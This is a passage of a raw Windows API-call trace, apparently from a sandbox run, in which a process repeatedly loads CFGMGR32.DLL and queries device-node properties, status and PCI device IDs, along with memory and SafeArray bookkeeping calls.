pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9b80, pulLength=0x2dc22fd3f8) returned 0x0 [0217.398] free (_Block=0x20abc2a9b80) [0217.398] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3d5937de, dwHighDateTime=0x1d9eb0c)) [0217.399] SetEvent (hEvent=0x248) returned 1 [0217.402] malloc (_Size=0x18) returned 0x20abc281e00 [0217.402] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0217.402] free (_Block=0x20abc281e00) [0217.402] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0217.402] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0217.402] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0217.402] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0217.403] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0217.403] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0217.403] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0217.403] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0217.403] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0217.403] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4021f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.404] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0217.404] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0217.405] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.408] malloc (_Size=0x18) returned 0x20abc2819a0 [0217.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0217.408] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3d5937de, dwHighDateTime=0x1d9eb0c)) [0217.408] SetEvent (hEvent=0x248) returned 1 [0217.686] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.686] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.689] malloc (_Size=0x18) returned 0x20abc281b20 [0217.689] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.694] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d84223d, dwHighDateTime=0x1d9eb0c)) [0217.695] SetEvent (hEvent=0x248) returned 1 [0217.696] SetEvent (hEvent=0x248) returned 1 [0217.696] free (_Block=0x20abc27cf80) [0217.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.697] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d868483, dwHighDateTime=0x1d9eb0c)) [0217.697] SetEvent (hEvent=0x248) returned 1 [0217.698] SetEvent (hEvent=0x248) returned 1 [0217.699] free (_Block=0x20abc27cb20) [0217.699] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.699] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d868483, dwHighDateTime=0x1d9eb0c)) [0217.699] SetEvent (hEvent=0x248) returned 1 [0217.700] SetEvent (hEvent=0x248) returned 1 [0217.701] free (_Block=0x20abc27cf80) [0217.701] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.701] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d868483, dwHighDateTime=0x1d9eb0c)) [0217.702] SetEvent (hEvent=0x248) returned 1 [0217.705] SetEvent (hEvent=0x248) returned 1 [0217.705] free (_Block=0x20abc27cb20) [0217.705] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.707] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d868483, dwHighDateTime=0x1d9eb0c)) [0217.708] SetEvent (hEvent=0x248) returned 1 [0217.709] SetEvent (hEvent=0x248) returned 1 [0217.709] free (_Block=0x20abc27cb20) [0217.710] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3d, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0217.710] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3d88e7c1, dwHighDateTime=0x1d9eb0c)) [0217.710] SetEvent (hEvent=0x248) returned 1 [0217.713] SetEvent (hEvent=0x248) returned 1 [0217.713] free (_Block=0x20abc27cb20) [0217.714] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3d, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0217.714] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3d88e7c1, dwHighDateTime=0x1d9eb0c)) [0217.714] SetEvent (hEvent=0x248) returned 1 [0217.715] SetEvent (hEvent=0x248) returned 1 [0217.716] free (_Block=0x20abc27cb20) [0217.716] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0217.716] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3d88e7c1, dwHighDateTime=0x1d9eb0c)) [0217.716] SetEvent (hEvent=0x248) returned 1 [0217.719] SetEvent (hEvent=0x248) returned 1 [0217.720] free (_Block=0x20abc27cb20) [0217.720] CM_Get_Device_IDA (in: dnDevInst=0x3e, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293C&SUBSYS_11001AF4&REV_03\\3&11583659&0&18") returned 0x0 [0217.720] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3d88e7c1, dwHighDateTime=0x1d9eb0c)) [0217.720] SetEvent (hEvent=0x248) returned 1 [0217.721] SetEvent (hEvent=0x248) returned 1 [0217.722] free (_Block=0x20abc27cb20) [0217.722] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0217.722] malloc (_Size=0x124) returned 0x20abc286890 [0217.722] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0217.723] free (_Block=0x20abc286890) [0217.723] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3d88e7c1, dwHighDateTime=0x1d9eb0c)) [0217.723] SetEvent (hEvent=0x248) returned 1 [0217.724] malloc (_Size=0x18) returned 0x20abc281d80 [0217.724] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0217.724] free (_Block=0x20abc281d80) [0217.724] malloc (_Size=0x18) returned 0x20abc281d40 [0217.724] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0217.724] free (_Block=0x20abc281d40) [0217.724] malloc (_Size=0x18) returned 0x20abc282080 [0217.724] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0217.724] free (_Block=0x20abc282080) [0217.724] malloc (_Size=0x18) returned 0x20abc281fa0 [0217.724] SafeArrayPutElement (psa=0x20abba80550, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0217.724] free (_Block=0x20abc281fa0) [0217.724] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c670 [0217.724] SafeArrayGetDim (psa=0x20abba80550) returned 0x1 [0217.724] SafeArrayGetLBound (in: psa=0x20abba80550, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0217.724] SafeArrayGetUBound (in: psa=0x20abba80550, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0217.724] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0217.724] SafeArrayGetDim (psa=0x20abba80550) returned 0x1 [0217.725] SafeArrayGetUBound (in: psa=0x20abba80550, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0217.725] SafeArrayGetElemsize (psa=0x20abba80550) returned 0x8 [0217.725] SafeArrayGetElement (in: psa=0x20abba80550, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0217.725] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79550, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.725] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79558, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.930] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79560, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.930] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79568, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.931] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0217.931] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c670) returned 1 [0217.932] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.932] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.935] malloc (_Size=0x18) returned 0x20abc281e80 [0217.935] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0217.936] malloc (_Size=0x10e) returned 0x20abc286890 [0217.936] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0217.936] free (_Block=0x20abc286890) [0217.936] malloc (_Size=0x48) returned 0x20abc2878a0 [0217.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3daa4862, dwHighDateTime=0x1d9eb0c)) [0217.937] SetEvent (hEvent=0x248) returned 1 [0217.939] malloc (_Size=0x18) returned 0x20abc281ac0 [0217.939] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc430458) returned 0x0 [0217.939] free (_Block=0x20abc281ac0) [0217.939] malloc (_Size=0x18) returned 0x20abc281d80 [0217.939] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0217.939] free (_Block=0x20abc281d80) [0217.939] malloc (_Size=0x18) returned 0x20abc281a00 [0217.940] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0217.940] free (_Block=0x20abc281a00) [0217.940] malloc (_Size=0x18) returned 0x20abc281dc0 [0217.940] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0217.940] free (_Block=0x20abc281dc0) [0217.940] malloc (_Size=0x18) returned 0x20abc2819a0 [0217.940] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0217.940] free (_Block=0x20abc2819a0) [0217.940] malloc (_Size=0x18) returned 0x20abc281b00 [0217.940] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0217.940] free (_Block=0x20abc281b00) [0217.940] malloc (_Size=0x18) returned 0x20abc281e00 [0217.940] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0217.940] free (_Block=0x20abc281e00) [0217.940] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0217.940] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0217.940] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0217.941] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0217.941] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b50 [0217.941] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0217.941] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0217.941] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0217.941] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0217.941] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.941] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803c8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.942] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.942] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.942] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.942] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.942] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba803f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0217.943] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b50) returned 1 [0217.943] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0217.943] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.944] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.946] GetProcAddress 